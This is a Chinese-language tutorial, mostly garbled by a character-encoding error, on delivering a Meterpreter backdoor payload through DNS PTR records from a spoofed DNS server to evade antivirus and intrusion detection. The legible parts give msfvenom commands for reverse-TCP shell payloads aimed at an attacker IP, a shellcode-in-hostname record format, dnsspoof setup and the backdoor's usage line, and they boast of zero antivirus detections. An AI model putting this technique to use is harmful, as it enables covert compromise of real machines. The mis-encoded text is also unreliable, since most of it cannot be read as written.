ǰÑÔ
ÔÚ±¾ÆªÎÄÕÂÀÎÒÏë½âÊÍÔõôÑù²»Ê¹ÓüÓÃÜÊý¾ÝµÄ·½·¨Ò²ÄÜÈÆ¹ýɱÈí£¬Í¬Ê±ÎÒÒ²ÏëÔÚgithubÉÏ·ÖÏíÔ´´úÂë¡£https://github.com/DamonMohammadbagher/NativePayload_DNS
ÎÒÏëʹÓÃDNSÐÒéÀ´´«ÊäÎҵĺóÃÅÔØºÉ£¬´Ó¹¥»÷ÕߵĻúÆ÷µ½¿Í»§¶Ë»úÆ÷¡£ÕâÖÖÇé¿öÏ£¬ÎÒÃǵĺóÃÅ´úÂë¾Í²»ÐèÒªÊÇÓ²±àÂëµÄ»òÕß¼ÓÃܵÄÁË¡£
Òò´Ë±»É±Èí¼ì²â³öÀ´µÄ·çÏվͺܵÍÁË¡£
ΪʲôÊÇDNSÐÒé?
ÒòΪÔÚ´ó¶àÊýµÄÍøÂçÀïDNSÁ÷Á¿¶¼ÊÇÓÐЧµÄ£¬IPS/IDS»òÕßÓ²¼þ·À»ðǽ¶¼²»»á¼à¿ØºÍ¹ýÂËDNSÁ÷Á¿¡£ÎÒÖªµÀÄã¿ÉÒÔʹÓÃSNORT
IPS/IDS»òÕßÀàËÆµÄ¶«Î÷À´¼ì²âDNSÁ÷Á¿£¬µ«ÊÇÔÚDNSÁ÷Á¿ÀïʹÓÃÌØÕ÷¼ì²â³öеÄÔØºÉ·Ç³£À§ÄÑ¡£µ±È»ÍøÂç¹ÜÀíÔ±Ò²ÓпÉÄÜÕâô×ö¡£
±¾ÆªÎÄÕÂÎÒÏë¸øÄãչʾһ¸öÔÚDNSµÄÇëÇóºÍ»ØÓ¦Á÷Á¿ÀïÒþ²ØÄãµÄÔØºÉµÄ·½·¨¡£
©¶´µãÔÚÄĶùÄØ?
Èç¹ûÄãÏëÒªÔÚºóÃÅÎļþÖÐÀûÓ÷ǼÓÃÜ»òÕßÎÞÓ²±àÂëµÄ¹¥»÷¸ººÉ£¬±ÈÈçÏÖÔÚÕâÖÖÇé¿ö£¬ÄãÐèÒªÀûÓÃÏñhttp,DNS
...ÕâÑùµÄÍøÂçÐÒé°Ñ¹¥»÷¸ººÉ´ÓÄãµÄϵͳ´«Ë͵½Ä¿±ê»úÉÏ¡£ÕâÖÖÇé¿öÏ£¬ÎÒÃÇÏëͨ¹ýDNSÐÒé´«Ë͹¥»÷¸ººÉ£¬²¢Í¬Ê±ÔÚÄ¿±ê»úÆ÷µÄÄÚ´æÀïÖ´ÐÐÕâЩ¹¥»÷ÔØºÉ¡£Òò´Ë©¶´µãÔÚÓÚ¹¥»÷ÔØºÉµÄλÖ㬻¹ÔÚÓÚɱÈí¼ì²â¶ñÒâÑù±¾µÄ·½Ê½¡£ÒòΪÔÚÕâÖÖÇé¿öÏ£¬ÎÒÃDz»»á±£´æ¹¥»÷ÔØºÉµ½Îļþϵͳ£¬ÔغÉÖ»ÊÇÔÚÄÚ´æÀÁ÷Á¿Àï¡£
ºÜ²»ÐÒÔ˵ÄÊÇ£¬¸÷ÖÖɱÈíΪ¼ì²â¶ñÒâ´úÂ룬¼à¿ØÍøÂçÁ÷Á¿£¬¼à¿Ø¼°É¨ÃèÄÚ´æµÄ£¬È´²»ÊǺÜÓÐЧ¡£ÉõÖÁ´ó¶àÊýɱÈí²»¹ÜÊÇ·ñÓÐIPS/IDSÌØÐÔ£¬¶¼ÊǸù±¾ÎÞЧµÄ¡£
Àý×Ó£ººóÃÅÔØºÉÒþ²ØÔÚÓµÓÐPTR¼Ç¼ºÍA¼Ç¼µÄDNSÓòÖС£

ͼ 1£ºDNSÓò(IPµØÖ·µ½DNSÈ«³ÆÓòÃû)
×¢£ºÍ¼Æ¬Ò»µÄºìÉ«·Ò룺
µÚÒ»ÐУºMeterpreterÔØºÉµÄµÚÒ»ÐÐÊý¾Ý {ÔØºÉ}.1.com
×óÏ·½£ºÊ±¼äÉèÖ㬺óÃźËÐÄ´úÂëÿʮ·ÖÖÓÖØÁ¬Ò»´Î¹¥»÷Õߣ¬Ã¿5·ÖÖÓ½¨Á¢Ò»´ÎÁ¬½Ó¡£1.1.{10}.{5}
ÓÒÏ·½£ºÈƹý±ÈÈçÏñSnort¶ÔDNSÁ÷Á¿µÄ»ùÓÚÌØÕ÷¼ì²â¹¥»÷ÔØºÉµÄºÃ°ì·¨(¿ÉÄÜ);-)£¬²ð·Ö¹¥»÷ÔØºÉµ½1-5¼Ç¼¡£Äã¿ÉÒÔÀûÓÃNSLOOKUPÀ´»¹ÔÕâЩ¼Ç¼£¬Ã¿¸ôÒ»¶Îʱ¼ä±ÈÈç(ÿ2·ÖÖÓ£º»ñȡһ¸ö¼Ç¼)
ÕýÈçÄãËù¼û£¬Õâ¸öDNSÓòÖУ¬ÎÒÓÐÁ½¸öºÜÏñÊÇÈ«³ÆÓòÃûµÄPTRÀàÐ͵ļǼ£¬Òþ²ØÁËMeterpreterÔØºÉ¡£»¹ÓÐÁ½¸öPTRÀàÐ͵ļǼ±£´æÁ˺óÃÅÖØÁ¬µÄʱ¼äÉèÖ㬻¹ÓÐÒ»¸öAÀàÐ͵ļǼҲÊDZ£´æÁËʱ¼äÉèÖá£
²ð·ÖÔØºÉÊý¾Ýµ½¼Ç¼! Èç¹ûÄãÏëÈÆ¹ý·À»ðǽ»òÕßIPS/IDS¶ÔDNSÁ÷Á¿µÄ»ùÓÚÌØÕ÷µÄ¼ì²â¡£
²ð·ÖµÄÒ»¸öºÃ°ì·¨ÊÇ£¬°ÑÄãµÄ¹¥»÷ÔØºÉ²ð·Öµ½PTRÀàÐ͵ÄDNS¼Ç¼À»òÕ߯äËûÄã¿ÉÒÔ¼ÓÃÜÔØºÉ²¢Ê¹ÓõÄÐÒéÀï¡£ÕâÈ¡¾öÓÚÄãºÍÄãµÄÄ¿±êÍøÂç¡£
ÕýÈçͼ1ÀÎÒ°ÑMeterpreterÔØºÉµÄµÚÒ»ÐÐÊý¾Ý²ð·Öµ½5¸ö¼Ç¼Àï¡£Òò´ËÕâЩ¼Ç¼ÀïµÄÔØºÉµÈÓڼǼ1.1.1.0¡£
Àý×Ó: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4
= 1.1.1.0¡£
ÔÚ¿Í»§¶Ë£¬Äã¿ÉÒÔʹÓÃÆäËûµÄ¹¤¾ß»òÕß¼¼Êõ£¬´Ó¼ÙðµÄDNS·þÎñÆ÷»ñÈ¡»¹Ô³öÕâÐ©ÔØºÉ¡£²»¹ý£¬ÎÒ´òËãÀûÓÃNSLOOKUPÃüÁîÐÐʵʱ»ñÈ¡£¬ÒòΪÎÒ¾õµÃÕâ±È½Ï¼òµ¥¡£
ÔÚͼƬ2£¬ÎÒ³¢ÊÔÓÃNSLOOKUP¹¤¾ß²âÊÔ¼ÙðµÄDNS·þÎñÆ÷µ½¿Í»§¶ËµÄDNSÁ÷Á¿¡£

ͼƬ2£ºNslookupÃüÁî¼°DNSÁ÷Á¿²âÊÔ¡£
×¢£ºÍ¼2ÀïµÄºìÉ«·ÒëÈçÏ£ºMeterpreterÔØºÉͨ¹ýDNSÐÒé´«ÊäµÄÁ÷Á¿¡£ÏÖÔÚÔõô¼ì²âÄØ?ÓÐ˼·Âð?
ÏÖÔÚÎÒÒª½²Ï£¬ÔõôÑùÔÚLinuxÀï´´½¨¼ÙðµÄDNS·þÎñÆ÷£¬ÒÔ¼°MeterpreterÔØºÉÈçºÎ±£´æ²ð·Öµ½DNS¼Ç¼¡£×îºóÎÒÒªÀûÓÃÎҵŤ¾ßNativePayload_DNS.exeÀ´Ö´ÐÐÕâÐ©ÔØºÉ£¬²¢µÃµ½Ò»¸öMeterpreterÁ¬½Ó»á»°¡£
²½Öè1:Ò»²½²½µÄ´´½¨ÓµÓÐMeterpreterÔØºÉµÄ¼ÙðDNS·þÎñÆ÷£º
±¾²½ÖèÖУ¬Äã¿ÉÒÔÀûÓÃMsfvenom´´½¨Ò»¸öMeterpreterÔØºÉ£¬ÏñͼƬ4ÖÐÄÇÑù¡£²¢°ÑÔØºÉÒ»ÐÐÒ»ÐеĿ½±´µ½dns.txtÎļþÖУ¬È»ºóÀûÓÃDNSSpoofÔÚKali
LinuxÖд´½¨Ò»¸ö¼ÙðµÄDNS·þÎñÆ÷¡£
²»¹ýÎÒÊ×ÏÈչʾEXEģʽµÄMeterpreterÔØºÉ£¬²¢ÓÃËùÓеÄɱÈí²âÊÔ£¬È»ºóÄã»á·¢ÏÖ¾ø´ó¶àÊýɱÈí¶¼¿ÉÒÔ¼ì²â³öÀ´¡£
ΪʲôÎÒҪչʾ×ÅÒ»µãÄØ?
ÒòΪÎÒÏë±íÃ÷¸øÄã¿´£¬Í¬Ò»¸ö¹¥»÷ÔØºÉ£¬ÓÃÁ½ÖÖ¼¼Êõ£¬Ò»ÊÇEXEģʽ£¬¶þÊÇDNS´«Êä¡£Äã»á¿´µ½É±Èí¿ÉÒÔ¼ì²â³öEXEģʽµÄÔØºÉ£¬µ«ÊDz»Äܼì²â³öÀûÓõڶþ¸ö¼¼Êõ¡±DNS´«Ê䡱µÄÔØºÉ¡£µ«ÎÒÃÇÖªµÀÕâÁ½ÖÖ·½·¨ÊÇͬһ¸öÔØºÉ¡£
Àý×Ó1 , EXEģʽµÄÔØºÉ: msfvenom ¨C-platform windows ¨Carch x86_64
¨Cp windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50
¨Cf exe > /root/Desktop/payload.exe
ϱßͼ3Äã»á¿´µ½£¬ÎÒµÄEXEģʽµÄÔØºÉ±»11¿îɱÈí¼ì²â³öÀ´ÁË¡£

ͼ3£ºEXEģʽµÄÔØºÉ±»¼ì²â³öÀ´ÁË¡£
ºÃÁË£¬ÏÖÔÚ¸ÃÓõڶþÖÖ¼¼ÊõÁË£¬Éú³ÉÔØºÉʱʹÓÃÁËCÀàÐÍ¡£
Àý2 , µÚ¶þÖÖ¼¼ÊõDNSÁ÷Á¿: msfvenom ¨C-platform windows ¨Carch x86_64
¨Cp windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50
¨Cf c > /root/Desktop/payload.txt
Éú³Épayload.txtÎļþºó£¬±ØÐë°ÑÔØºÉ¿½±´µ½dns.txt£¬°´ÕÕͼ4ÀïµÄ¸ñʽ£¬Ò»ÐÐÒ»ÐеĿ½±´¡£Õâ·Ç³£ÖØÒª£¬±ØÐë±£Ö¤dns.txtÓÐÕýÈ·µÄ¸ñʽ¡£ÒòΪLinuÀïµÄDnsspoofÒªÓõ½£¬¸ñʽÈçÏ£º
IPµØÖ· ¡°{ÔØºÉ}.Óò.com¡±
1.1.1.0 ¡°0xfc0x480x830xe40xf00xe8.1.com¡±
1.1.1.1¡°0xbc0xc80x130xff0x100x08.1.com¡±
ÔÚÕâÖÖÇé¿öÏ£¬ÒòΪÎÒµÄC#ºóÃŶ¨ÖÆ»¯µÄÓõ½ÁËÓòÃû"1.com"£¬ÎÒÃDZØÐëʹÓÃÕâ¸öÃû³Æ×÷ΪÓòÃû¡£»òÕßÏñÆäËû"2.com"£¬"3.net"£¬"t.com"£¬ÔÙ»òÕßÒ»¸ö×Ö·û¼Ó".com"×÷ΪÓòÃû¡£
ËùÒÔÔÚÕâÖÖÇé¿öÏ£¬IPµØÖ·¡± 1.1.1.x¡± ÀïµÄx¾ÍÊÇdns.txtÎļþÀïµÄÔØºÉÐÐÊý£¬
1.1.1.0 --> payload.txtÀïµÄ0ÐÐ --> ¡°{ÔØºÉ0}.1.com¡±
1.1.1.1 --> payload.txtÀïµÄ1ÐÐ --> ¡°{ÔØºÉ1}.1.com¡±
1.1.1.2 --> payload.txtÀïµÄ2ÐÐ --> ¡°{ÔØºÉ2}.1.com¡±

ͼ4£ºÉú³É¼ÙðµÄDNS·þÎñÆ÷ºÍMeterpreterÔØºÉµÄ²½Öè1
Éú³ÉºóµÄdns.txtÎļþÓ¦¸ÃÈçÏÂͼ5¡£

ͼ5£ºdnsspoofÓÃÀ´¼ÙðDNS·þÎñÆ÷µÄDns.txtÎļþ
ºÃÁË£¬ÏÖÔÚÀûÓÃdnsspoofÔÚLinuxÀïÉú³É¼ÙðµÄDNS·þÎñÆ÷£¬ÏñÏÂͼ6Ò»Ñù¡£

ͼ6£ºdnsspoof¹¤¾ß
ÔÚ²½Öè2ÖУ¬ÎÒÃÇÐèÒªÒ»¸öºóÃÅ£¬´Ó¼ÙðµÄDNS·þÎñÆ÷ÏÂÔØ¹¥»÷ÔØºÉ£¬ÀûÓõÄÊÇDNSÐÒé¡£
ÔÚÕâÖÖÇé¿öÏ£¬ÎÒ±àдÁËC#´úÂëÀ´¸ÉÕâ¼þÊ¡£ÎҵĴúÂëÀïʹÓÃÁËnslookup.exe·¢ËÍDNSÇëÇó£¬×îÖÕÎҵĴúÂë²¶»ñµ½ÁËDNS
PTRÀàÐÍ»ØÓ¦ÀïµÄºóÃÅÔØºÉ¡£
C# Ô´´úÂëÁ´½Ó: https://github.com/DamonMohammadbagher/NativePayload_DNS
²½Öè2£º
Ô´´úÂë±àÒëºó£¬Éú³ÉµÄexe£¬°´ÕÕÈçϵÄÃüÁîÓï·¨Ö´ÐУº
ÃüÁîÓï·¨: NativePayload_DNS.exe ¡°ÆðʼIPµØÖ·¡± ¼ÆÊý ¡°¼ÙðDNS·þÎñÆ÷IPµØÖ·¡±
ÀýÈç: C:\> NativePayload_DNS.exe ¡°1.1.1.¡± 34 ¡°192.168.1.50¡±
ÆðʼIPµØÖ·£ºÊÇÄãPTR¼Ç¼ÀïµÄµÚÒ»¸öIPµØÖ·£¬²»°üº¬×îºóÒ»½Ú¡£¶ÔÓÚÓòÃûID { 1 . 1 . 1 .
}ÄãÐèÒªÊäÈëÈý¸ö1.×÷Ϊ²ÎÊý¡£
¼ÆÊý£ºÊÇDNS PTRÀàÐͼǼµÄ¸öÊý£¬ÔÚÕâÖÖÇé¿öÏ£¬ÎÒÃÇdns.txt ÎļþÀïµÄ1.1.1.0 ¡. 1.1.1.33£¬ËùÒÔÕâ¸ö¼ÆÊýÊÇ34¡£
¼ÙðDNS·þÎñÆ÷IPµØÖ·£ºÊÇÎÒÃÇ»òÕß˵Êǹ¥»÷ÕߵļÙðµÄDNS·þÎñÆ÷IPµØÖ·£¬ÔÚÕâÖÖÇé¿öÏ£¬ÎÒÃǵÄkali
linux ipµØÖ·ÊÇ192-168-1-50¡£
ÔÚÖ´ÐкóÃÅ֮ǰ£¬ÄãÒª¼Çס£¬±ØÐëÈ·±£kali linuxÀïµÄMetasploit¼àÌýÔÚIPµØÖ·192-168-1-50¡£
ÏÖÔÚÄã¿ÉÒÔÏñͼ7Ò»ÑùÖ´ÐкóÃÅÁË£º
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

ͼ7£ºNativePayload_DNS
¹¤¾ß
ÕýÈçͼ7ÀºóÃų¢ÊÔ·¢ËÍDNSÇëÇóIPµØÖ·1.1.1.x£¬²¢µÃµ½ÁËPTR»òÕßFQDNÀàÐͼǼµÄ»ØÓ¦¡£ÔÚÏÂÒ»ÕÅͼÀÄã»á·¢ÏÖ¿Í»§¶ËºÍ¼ÙðDNS·þÎñÆ÷Ö®¼äµÄÍøÂçÁ÷Á¿¡£

ͼ8£ºÀûÓÃDNSÁ÷Á¿´«ËÍMeterpreterÔØºÉ
×îÖÕ34¸ö¼Ç¼µ¹¼ÆÊ±Íê³ÉÖ®ºó£¬Äã»áÔÚ¹¥»÷ÕßÄǶ˵õ½Ò»¸öMeterpreterÁ¬½Ó»á»°£¬Ïñͼ9ÀïµÄ¡£¶øÇÒ²»ÐÒµÄÊÇ£¬ÎÒµÄɱÈíû¼ì²â³öÀ´ÕâÖÖ¼¼Êõ¡£ÎÒÈÏΪ´ó¶àÊýµÄɱÈí¶¼ÎÞ·¨¼ì²â³öÀ´£¬Èç¹ûÄãÓÃÆäËûɱÈí²âÊÔÁËÕâ¸ö¼¼Êõ£¬ÇëÔÚÆÀÂÛÀïÁôÑÔ¸æËßÎÒ½á¹û£¬»¹ÓÐÄÄ¿îɱÈíºÍ°æ±¾;)¡£Ð»Ð»Äã»ï¼Æ¡£

ͼ9£ºÀûÓÃDNSÐÒéµÄMeterpreter»á»°Á¬½Ó
Äã»á¿´µ½ÎÒµÄɱÈíÔÙÒ»´Î±»ÈƹýÁË;-)£¬ÕâÊÇÓÃËùÓÐɱÈíɨÃèÎÒµÄÔ´´úÂëµÄ½á¹û£¬Äã¿ÉÒԱȽÏͼ3ºÍͼ10¡£Á½¸öºóÃÅʹÓÃͬÑùµÄÔØºÉ¡£ 
ͼ 10: NativePayload_DNS
(AVs½á¹û = 0 ±»¼ì²â)
ÏÂÕÅͼÄã»á¿´µ½C#Ô´´úÂëʹÓÃÁËNSLOOKUP¹¤¾ßµÄ±³ºó¾¿¾¹·¢ÉúÁËʲô¡£

ͼ11£ºNslookup ºÍ UDPÁ¬½Ó
×îÖÕÄã»áÔÚtcpviewºÍputtyÀï¿´µ½ÎÒµÄMeterpreter»á»°£¬¼ûÏÂͼ£º

ͼ12£ºTcpviewÒÔ¼°TCPÓÐЧÁ¬½Ó£¬µ±ºóÃÅÔØºÉ±»´Ó¼ÙðµÄDNS·þÎñÆ÷ÏÂÔØÏÂÀ´ºó¡£
ÔÚͼ13ÀÄãͬÑù¿ÉÒÔ¿´µ½Meterpreter»á»°£º

ͼ13£ºMeterpreter»á»°¡£
һĿÁËÈ»£ºÄã²»ÄÜÏàÐÅɱÈí×ÜÊÇ¿ÉÒÔ·À·¶ÍøÂçÖй¥»÷ÔØºÉµÄ´«Ê䣬Èç¹ûͨ¹ýÕâÖÖ¼¼Êõ»òÕ߯äËûµÄ·½·¨À´´«Ë͹¥»÷ÔØºÉµÄ»°£¬ÄÄÅÂÊÇʹÓÃÆäËûÐÒé¡£ÄãµÄÍøÂçºÍ¿Í»§¶Ë/·þÎñÆ÷ÊǺܴàÈõµÄ¡£ËùÒÔÇëÓÃÄã×Ô¼ºµÄɱÈí²âÊÔÕâ¸ö¼¼Êõ£¬²¢·ÖÏíÄãµÄ¾Ñ飬ÔÚÆÀÂÛÀïÁôÑÔ¸æËßÎÒ(Ò²ÐíÕâ¼þÊÂÎÒ˵´íÁË£¬Ò²ÐíûÓÐ)¡£ |